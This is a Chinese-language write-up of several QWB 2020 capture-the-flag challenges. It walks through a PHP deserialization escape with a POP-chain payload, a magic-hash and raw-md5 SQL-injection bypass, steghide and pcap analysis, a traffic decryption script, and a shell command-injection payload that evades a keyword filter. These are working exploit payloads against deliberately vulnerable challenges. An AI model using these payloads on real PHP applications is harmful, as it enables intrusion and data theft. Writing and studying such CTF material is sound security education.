目录

强网杯2020部分WriteUp


MISC——签到

打开题目即可看到flag

/images/强网杯2020部分WriteUp/b93adbcf2d617bdeac5b82b4ec9a9d928d79e6c257a294d27ea056d55abd022e.png


强网先锋——web辅助

打开题目,下载附件源码,共有 4 个文件,其中 index.phpplay.php,是序列化与反序列化的执行文件,class.php 是类文件,common.php 是工具文件。

index.php中,接收两个参数并生成对象,最后将对象信息经过处理后存进文件中:

/images/强网杯2020部分WriteUp/479e6ae76e0f49e90b8babc4aafd201dbd8d7257e1ba878d31e54fbdd619ad35.png

play.php中,读取文件内容,并经过检查和处理后,反序列化成对象:

/images/强网杯2020部分WriteUp/b223bfe59729acef101b5a13241825a11916c999b1142b7421293e2cd4067dfc.png

class.php中,存在几个类的定义,具体分析如下:

  • jungle类:读取flag的类

    • KS():执行系统命令读取了flag
    • __toString():调用了 KS()。因为 __toString() 的特性,当该类的对象被当字符串进行处理时,都会调用 __toString() ,例如echo new jungle(),当然除了echo,还有其他方法也能触发调用 __toString(),如strlen()strstr()等等

    jungle 类是一个关键类,关乎到是否能读取flag,在这个类中,想要调用 KS() 读取flag,就得利用 __toString() 的特性,让 jungle类对象 被当作字符串处理,即可读取flag


  • midsolo类:触发 jungle类__toString() 的类

    • Gank():将 $this->name 进行了 stristr() 判断
    • __invoke():调用了 Gank()
    • __wakeup():给 $this->name 赋值为字符串

    midsolo 类中,关键的地方在于 Gank() 方法中的 stristr() 判断。根据上面 jungle 类的分析,如果这里 $this->namejungle类对象 时,那么就会 调用jungle类的__toString(),从而调用 KS() 读取到flag

    而在 __invoke() 方法,调用了 Gank(),也就是说,当 midsolo的类对象被当成方法调用 时,即可调用 Gank(),如下:

    1
    2
    3
    4
    
    <?php
       $obj = new midsolo();
       $obj();
    ?>
    

    最后 __wakeup() 中,给 $this->name 赋了值,如果 想让$this->name为jungle类对象的话,就得绕过__wakeup()


  • topsolo类:调用midsolo类对象 的类

    • TP():判断 $this->name 是否为 function 或 object ,并且去执行它
    • __destruct():析构方法,会调用 TP()

    topsolo 类中,关键点就在于 TP(),会去执行 $this->name(),根据上面 midsolo 类的分析,如果 $this->name赋值为 midsolo 类对象,那么就可调用 midsolo 类的 __invoke() 与 Gank()


  • player类:可以实际控制的类 player 为入口类,两个成员变量可控制,可以将成员变量赋值为 topsolo 类对象,这样就能依次调用上面的类方法了


根据上面的分析,其实已经可以看出点端倪了,可以根据上面的类来构造一个POP链,获取flag,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";


$jungle = new jungle();
$midsolo = new midsolo($jungle);
$topsolo = new topsolo($midsolo);
$player = new player('aaa', $topsolo);
?>


最后的common.php,存在三个方法:read()write()check()

/images/强网杯2020部分WriteUp/dd2dde06b017f8be3d8b92b876d2664df022dd84c1a2fd6b12e78c2bfe0482e6.png

其中 write() 在序列化的时候调用,将0x00*0x00替换成\0*\0,而 read() 则相反,在反序列化的时候调用,将\0*\0替换成0x00*0x00,而 check() 也是在反序列化的时候调用,检查反序列化的数据是否存在name字段。其实看到这里,已经可以发现 write()read() 存在 反序列化逃逸 的漏洞,这里我们先简单学习下 反序列化逃逸 的知识点。

首先,PHP 在反序列化时,会根据变量的类型来生成变量,如果是字符串类型,还会根据长度来生成字符串。而如果长度值超出了后面的定义的字符串的话,PHP 会继续向后取内容,直到取满相同长度的字符。这样说的可能有点抽象,举个例子演示一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
    class A{
        public $name;
        public $age;

        public function __construct($name, $age){
            $this->name = $name;
            $this->age = $age;
        }
    }


    $A = new A('xiaoming', 18);
	var_dump($A);
	echo '<hr>';

    $str = serialize($A);
    echo $str;
    echo '<hr>';

    $str = substr_replace($str,'26',24,1);
    $str .= '";s:3:"age";s:8:"xiaoming";}';
    echo $str;
    echo '<hr>';

    var_dump( unserialize($str));
?>

执行结果如下:

/images/强网杯2020部分WriteUp/28042f1b3155fa5200cf95626e7e7ead253a2987409ec04b98cb10ced2a78b8b.png

我们最初定义name = 'xiaoming'age = 18,在经过序列化并对序列化数据进行了改变,再次反序列化回来的时候值都被改变了,特别是age,连类型都改变了,这是为什么呢?

在输出的第三行中,可以看到s:8被改成了s:26。这是什么意思呢?这代表name成员是一个字符串类型,并且字符串的长度是 26。

当 PHP 收到修改后的数据后,读取到 26 时,就真的会以 26 的长度去读取内容赋值给 name成员,所以说最后name变成了xiaoming";s:3:"age";i:18;},将之前的age的定义当成了name的值。而读取了name的内容之后,PHP 会继续反序列化,读取到我们自己构造的数据,于是将age赋值成了xiaoming


再次回过头来看 write()read(),它们的内容中都有\0*\00x00*0x00,这两段字符串的区别是长度不同,\0*\0长度为 5,而0x00*0x00长度为 3,可用如下代码做个实验:

1
2
3
4
5
<?php
    echo strlen($_GET['a']);
    echo '<br />';
    echo strlen($_GET['b']);
?>

访问?a=\0*\0&b=%00*%00得到结果如下:

/images/强网杯2020部分WriteUp/b93cc6aec566d1e1a28213f7f69dc1b09d504f91fdf844ae6c2d84560740ed4a.png

read()\0*\0替换成0x00*0x00,那么替换后的字符串会比原字符串少2个字符,于是产生了漏洞。这里为了说得清楚一些,用player来做个实验:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
    @error_reporting(0);
    require_once "common.php";
    require_once "class.php";

    $player = new player($_GET['a'], $_GET['b']);
    $ser = serialize($player);
    echo $ser;                  // 序列化时

    echo '<br /><hr>';

    $ser = write($ser);
    echo $ser;                  // write时

    echo '<br /><hr>';

    $ser = read($ser);
    echo $ser;                  // read时

    echo '<br /><hr>';

    var_dump( unserialize($ser));       // 反序列化时
    echo '<br /><hr>';
?>

访问?a=\0*\0&b=123,如下:

/images/强网杯2020部分WriteUp/01b32705052e3bfa7ef367992de20e466f38232d029d9176273fe8331001da59.png

在序列化时,user参数的值为\0*\0,长度为5,而经过write()方法后,user参数的值和长度未发生任何变化,因为值中不包含0x00*0x00,所以不会进行替换。

而在经过read()后,因为user参数的值中包含\0*\0,于是值被替换成了0x00*0x00,但长度并没有改变,依然还是5,PHP 会以 5 的长度来读取字符串,但实际上0x00*0x00的长度只有 3,于是 PHP 继续向后读取,把";也当成了字符串的一部分,然后继续反序列化,因为"被当成了字符串,后面没有"了,导致闭合失败,最终反序列化失败。

通过这种方式,就可以像之前的例子一样,靠长度不一致的问题,把反序列化中原本的对象信息给当成字符串,而自己再构造相应的数据,来达到修改对象中其他成员变量的值。


最后总结下上面的分析:

  • 获取flag,需要通过POP链
  • play.php文件中,反序列化player类对象时存在反序列化逃逸,利用这点可以构造POP链的类信息
  • 受控制的参数为player类对象的userpass,利用username参数把user成员填充为\0*\0的形式,用来反序列化逃逸,利用password的参数把pass成员构造成POP链类对象,用来获取flag


一步一步来,先把上面的POP链的反序列化信息生成出来,如下:

1
O:6:"player":3:{s:7:"0x00*0x00user";s:3:"aaa";s:7:"0x00*0x00pass";O:7:"topsolo":1:{s:7:"0x00*0x00name";O:7:"midsolo":1:{s:7:"0x00*0x00name";O:6:"jungle":1:{s:7:"0x00*0x00name";s:7:"Lee Sin";}}}s:8:"0x00*0x00admin";i:0;}

由于只需要给pass变量赋值,所以需要截取一段:

/images/强网杯2020部分WriteUp/1fa06aca2b736825ce05c39a29daf02caa7c92efdaa9481d74a4cf14b3b61c51.png

1
";s:7:"0x00*0x00pass";O:7:"topsolo":1:{s:7:"0x00*0x00name";O:7:"midsolo":1:{s:7:"0x00*0x00name";O:6:"jungle":1:{s:7:"0x00*0x00name";s:7:"Lee Sin";}}}s:8:"0x00*0x00admin";i:0;}

然后计算需要逃逸的字符长度,这里拿上面的图举例:

/images/强网杯2020部分WriteUp/5b0e807e68ff84ee00191e79d9e463df37252653301e8ae58072ad1b19021a62.png

在这副图中,我们能控制的是这两个框中的内容,而我们的目标是控制pass成员变成POP链,如何控制呢?就需要进行逃逸,让user把后面原本的pass信息给吃掉,也就是将其作为user的变量,这样我们构造的pass信息就可以进行闭合,从而就能完全控制pass的值了。所以这两个框之间的内容";s:7:"0x00*0x00pass";s:3:",就是需要逃逸的内容。

";s:7:"0x00*0x00pass";s:3:",一共占用 21 个字符长度(0x00占一个字符长度),需要注意的是,这段字符串最后的s:3,指的是传递给pass的长度,也就是上面的POP链的长度 145,所以需要逃逸的字符串实际为";s:7:"0x00*0x00pass";s:145:",占用23个字符长度。

根据上面的结论,read()转换一个\0*\0,就会多出两个字符的长度,23个字符就需要 12对\0*\0,12对\0*\0会多出 24个字符的长度,所以POP链得多加一个字符:

1
A";s:7:"0x00*0x00pass";O:7:"topsolo":1:{s:7:"0x00*0x00name";O:7:"midsolo":1:{s:7:"0x00*0x00name";O:6:"jungle":1:{s:7:"0x00*0x00name";s:7:"Lee Sin";}}}s:8:"0x00*0x00admin";i:0;}

所以Payload就变成了:

1
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=A";s:7:"%00*%00pass";O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}s:8:"%00*%00admin";i:0;}

先在本机测试一下:

/images/强网杯2020部分WriteUp/96324ad9b0245e408002f4c67f6c6ba2af2fc9ee62f238276bd3e2af840152a0.png

可以看到已经反序列化成功了,但是并没有执行成功,因为midsolo类中有个__wakeup(),将name变成了字符串了,而不是 jungle类对象 了,需要绕过__wakeup(),将midsolo成员属性的个数改成2即可绕过,于是Payload就变成了:

1
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=A";s:7:"%00*%00pass";O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":2:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}s:8:"%00*%00admin";i:0;}

再次验证:

/images/强网杯2020部分WriteUp/2ba9f9a09960bbb04f8e3aded8f94ebf581bb01fbe0339d818d224fa127b43af.png

注意我在本地把执行的命令改成了ping

执行成功之后尝试去get flag,先访问Payload,然后访问play.php,提示失败:

/images/强网杯2020部分WriteUp/5ed9ad5713c90f0f38d7436787b168098c7156f7465da380020d4056453be62b.png

可以看到这里是在check()被拦了

再回头看check(),很简单的一个方法,就是判断反序列化数据中是否包含name,包含就退出。而在Payload中,的确是包含name的,因为name是其他类的成员属性,无法避免,所以在这里卡了很久,不知道咋绕过,最后问了下大佬,大佬说用 16进制代替字符串,也就是将name变成 16进制的格式\6e\61\6d\65,并且它的类型不能是小写的s,需改成大写的S,最后Payload就变成了:

1
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=A";s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}}s:8:"%00*%00admin";i:0;}

最后访问之后得到flag

/images/强网杯2020部分WriteUp/c4edf5d931901c9d6b8e9819bf01b09a8dd7a4f4ba6d01913da79d84501e2087.png


强网先锋——Funhash

这道题主要考的是 PHP 中,关于弱类型比较与 md5() 相关的漏洞,如果接触得比较多的话,一下就应该做出来了,下面有两个参考链接,光看这两个链接都能把题做出来。我这里由于是第一次碰到这个题,所以还是记录下过程。

源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

首先来看level 1,需要hash1md4(hash1) 相等,看到这里我第一想法是不可能,这机率太小了,然后还是写了个脚本爆破了一晚上,不出意外没有结果。第二天,网上搜资料的时候,才发现这里用的判断是!=,结合 PHP 的弱类型比较一搜,果然这里有猫腻,经过测试发现,只要满足0e+数字,后面的数字无论怎么变都是相等的,所以只需要构造hash10e+数字的格式,并且md4(hash1)的结果也是0e+数字的格式即可。于是再次构造脚本爆破,这里思路正确了,但是脚本构造的有问题,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import hashlib
import string
import itertools
from Crypto.Hash import MD4

data = string.digits
string.ascii_letters

for i in range(1,33):
    for i in itertools.product(data,repeat=i):
        str = bytes("".join(('0e',)+i),'utf8')
        h = MD4.new()
        h.update(str)
        md4str = h.hexdigest()
        if md4str.startswith('0e') and md4str.isnumeric():
            print('it\'s find!')
            print('str:%s, md5str:%s'%(str, md4str))
            exit()

我这里想的是构造 1 ~ 32 位的字符,依次慢慢增加位数爆破,类似于笛卡尔积的模式,其实这样思路没有问题,最后肯定是能爆破出来的,只是时间有点长,在这里等了几个小时,发现没有结果,以为自己的思路有问题,于是咨询了下大佬,大佬丢了个脚本过来,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import hashlib
import re
prefix = '0e'
def breakit():
    iters = 0
    while 1:
        s  = (prefix + str(iters)).encode('utf-8')
        hashed_s = hashlib.new('md4', s).hexdigest()
        iters = iters + 1
        r = re.match('^0e[0-9]{30}', hashed_s)
        if r:
            print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))
            print ("[+] in {} iterations".format(iters))
            exit(0)

breakit()

大佬的脚本就是从 1 开始,依次 +1,然后加上前缀 0e 进行爆破。这样的方式其实并不算完美,会漏掉一些字符串,例如01。不过这道题的确是得这样做,在跑了 10 多分钟之后,就找到结果了:

/images/强网杯2020部分WriteUp/d41cc5121bdf03e3873442896dd98d2ab8b081334e5e6702da5ebf055454dee8.png

接着再来看level 2,在level 2,没有使用到==!=,所以无法利用上面的方式进行绕过,在这里网上搜索了资料,得知 PHP 的md5()无法处理数组,当构造hash2[]=1&hash3[]=2,即可绕过这里的判断。

最后来看level 3,这里是我第一眼看到题目时觉得最难的地方,前面两个都是进行有目的的哈希碰撞,这里完全没有目标,所以这里我没有做出来,最后问了大佬,大佬提醒我说 PHP 的 md5()函数第二个参数为true时,会产生漏洞。我拿着这信息去搜索了下,找到了相关的信息,大概就是当 md5()函数第二个参数为true时,该函数返回的是哈希值的16字符的二进制格式,如下:

/images/强网杯2020部分WriteUp/b7798c1f887aa0833cb31a825f96f66df61cb473898442452c83b71a43d8c931.png

第一处,是md5('b',false)的结果,这里返回的就是 32 字节的ascii形式的哈希值,而第二处,是md5('b',true)的结果,可以看到前面几个字节与第一处是一样的,相当于是第一处的二进制格式。在第二处的右边可以看到,这几个二进制数据,转化为ascii码之后,变成了'or'xxx,如果将这几个字符与页面上的SQL语句拼接的话,就形成了下面的语句:

1
$query = "SELECT * FROM flag WHERE password = '" . "'or'xxx" . "'";

而在MySQL中,or后面只要不为0,即为真,所以这里相当于造成了SQL注入,于是就满足了查询条件,得到了flag,如下:

/images/强网杯2020部分WriteUp/5478ff47c5c241e9a8416c8522251354ecf46d628110643c04ed61f2d5328278.png

Payload:?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

参考链接:

https://blog.csdn.net/zz_Caleb/article/details/84947371

https://www.cnblogs.com/piaomiaohongchen/p/10659359.html


强网先锋——upload

下载题目附件,可看到是一个数据包data.pcapng,用Wireshark打开,可看到都是HTTP的数据:

/images/强网杯2020部分WriteUp/3da4763c57d05b6eb4a05ac5b51d79dee43e69e359f438f697b04507874c44b1.png

右键追踪流 ==> TCP流,在第 2 个流中,可看到上传了一张名为steghide.jpg的图片,如下:

/images/强网杯2020部分WriteUp/bcbb9ef15999b92a75016221e83648605e70909dcb6a2912ec8164748bd84d86.png

将图片数据提取出来,保存成图片文件,如下:

/images/强网杯2020部分WriteUp/08d5fb77fcf2cd79a4adb42a4a34dee543e8e595e65df35663c3d831dfc85796.png

从上传的数据包里可看见,上传的文件名为steghide.jpg,猜测与隐写工具steghide有关,于是用steghide查看一下文件信息:

/images/强网杯2020部分WriteUp/d3fcb66265bf386e76f1212c322b8c627f41aabcea5b92e67e621bf7713c1822.png

发现有密码,随手一测123456,发现密码正确:

/images/强网杯2020部分WriteUp/5742d4779c34fb117900b8f962d3719835eee8d62ee064062003c35693a4f14e.png

于是提取flag.txt,得到flag

/images/强网杯2020部分WriteUp/4659f12b00e40c1d884229f31c2e65275782d0486aaaa70a3fe644bcbb587749.png

参考链接:http://www.safe6.cn/article/102


强网先锋——红方辅助

下载附件,得到两个文件client.pyenc.pcapng

先来看client.py,该脚本就是读取文件并且加密后发送给服务器,主要逻辑如下:

/images/强网杯2020部分WriteUp/c4e499de2d6a68834c0775916c3bc86fc2a0ad4bf67730cb0375375ed3b4c2d0.png

  • 打开文件并读取每一行数据
  • 发送G到服务端
  • 接收 4 字节服务端发来的数据
  • 将每一行数据、接收到的 4 字节数据、计数变量一起传递给加密函数,得到两个值,data为加密后的数据
  • 将刚才得到的数据发送给服务端
  • 获取 4 字节服务端发来的数据,并与计数变量进行比较

从上面的流程可以看到,与服务端交互的过程是发送 ==> 接收 ==> 发送 ==> 发送 ==> 接收

现在再来看enc.pcapng,打开之后右键选择追踪流 ==> TCP流,在第 2 个流中可看到大量加密后的数据,如下:

/images/强网杯2020部分WriteUp/ede59afb8b018185256b4073497adee1f572144ed6de4bd6c2ee6e24f5565c19.png

可以看到其中有很多G,可以判断这就是发送的数据包,在这里我们将流显示为原始数据,看得更清晰:

/images/强网杯2020部分WriteUp/930ef3346ab7d97bed618ef75d43a8687b1dc3da5bbffd4bd4b7de1ca1fd625c.png

可以很清晰地看出,这就是每一次发送接收的数据流,与之前分析的过程一模一样,都是发送 ==> 接收 ==> 发送 ==> 发送 ==> 接收

/images/强网杯2020部分WriteUp/ff497804c66a6c62f6ba6dfbff3e60edf595b6c94bd10f7d50af40a847888908.png

经过分析,服务端发送来的数据btime为时间戳,而pcount则是和计数变量一致的内容

接下来再来分析加密函数,如下:

/images/强网杯2020部分WriteUp/82906db1875a01a8cb9f08ba06c0312645307e910609878358ae98996e31b937.png

其中返回的boffsetoffset变量中的其中一个,这个通过观察流量包也能看出来,永远都是三个之中的一个。

enc则是将一堆算出来的值,合在一起的东西。

在这个题中,我们主要是要知道它传输的内容到底是什么,也就是加密函数的形参data,而在加密函数的 37 行这里,将data一个一个取出来,进行一顿异或和模之后,得到的结果给enc并传送给服务端。也就是说现在我们手上有加密的数据,加密的算法,现在需要写出解密算法,来将加密数据给解密出来。

首先来看加密函数的 35 行,这里是enc首次被打包赋值,这几个值是解密的关键,而且这几个值没有被加密,可以从数据中得到。先来看看这个打包的格式<IIcB<代表用小端存储,I代表int型,占 4 字节,c代表char型,占 1 字节,B代表unsigned char,占 1 字节。而在第一次的数据包中就对应如下这几个字节:

/images/强网杯2020部分WriteUp/c6b050a08c9fc79024f251be436ea08aea238252cbcb0413cd1197db43eed3f2.png

转换回来的话就是:

1
enc = struct.pack("<IIcB", 0, 132, '0', 14)

而下面的加密循环就变成了这样:

1
2
3
4
i = 0 
for c in data:
    enc += chr((funcs['0'.decode()](ord(c) ^ ord(t[i]), 14) % 256))
    i = (i + 1) % 4

其中的t也是能从数据包中找到的,所以最后就只剩c不知道,也就是data的每一个字符不知道是啥。

c怎么求呢,因为加密数据包已经知道了,所以它每次加密后的结果是知道的,例如第一个是a4,那么chr((funcs['0'.decode()](ord(c) ^ ord(t[i]), 14) % 256)) = 0xa4,在这种表达式下,c的值肯定是0 ~ 255之间的一个值,为什么呢,因为它是data中的字符啊,而data是可以显示的字符串,所以它的每一个字符都是可显示的,那么就肯定是0 ~ 255的值,这时就可以进行枚举c,从0 ~255中枚举,哪一个满足这个表达式那么c就为那个。

有了上面的思路,就可以写脚本了,先将数据包里的原始数据保存成data.txt,然后运行脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import struct

def decrypt(data, btime, fn, salt):
    funcs = {
        "0": lambda x, y: x - y,
        "1": lambda x, y: x + y,
        "2": lambda x, y: x ^ y
    }

    offset = {
        "0": 0xefffff,
        "1": 0xefffff,
        "2": 0xffffff,
    }

    t = struct.unpack("<i", btime)[0]
    boffset = offset[fn.decode()]
    t -= boffset
    t = struct.pack("<i", t)

    i = 0
    for c in data:
        for ss in range(0, 256):
            if (funcs[fn.decode()](ss ^ t[i], salt) % 256) == c:
                print(chr(ss), end='')
                break
        i = (i + 1) % 4

f = open("data.txt", "r")
readlines = f.readlines()
f.close()

for i in range(0,len(readlines),5):
    data = readlines[i+3]
    btime = bytes.fromhex(readlines[i+1][:-1])
    fn = bytes.fromhex(data[16:18])
    salt = ord(bytes.fromhex(data[18:20]))
    data = bytes.fromhex(data[20:-1])

    decrypt(data, btime, fn, salt)

最后运行的结果如下, 把每一个字符提出来加上QWB{}就得到flag

/images/强网杯2020部分WriteUp/1b402a35c7594da7b2456ff54641a2db632676c2a1ca652e4ee36075430c58ed.png


强网先锋——主动

打开链接得到源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

很基础的命令执行,先查看当前目录下的文件:

/images/强网杯2020部分WriteUp/380cda933f118e1dd80a444394e0cf88a57649039da7a1ea02dac4ded854de20.png

可看到flag.php在当前目录下,但是因为上面的正则表达式无法直接读取文件,这里利用 Linux 的变量机制来绕过正则:

/images/强网杯2020部分WriteUp/31f01dcd8d0385902f362f288e72de2c5f9f4a6b9acee453e3e6c72291f73686.png

Payload:?ip=8.8.8.8;a="fla";b="g.php";cat%20"./"$a$b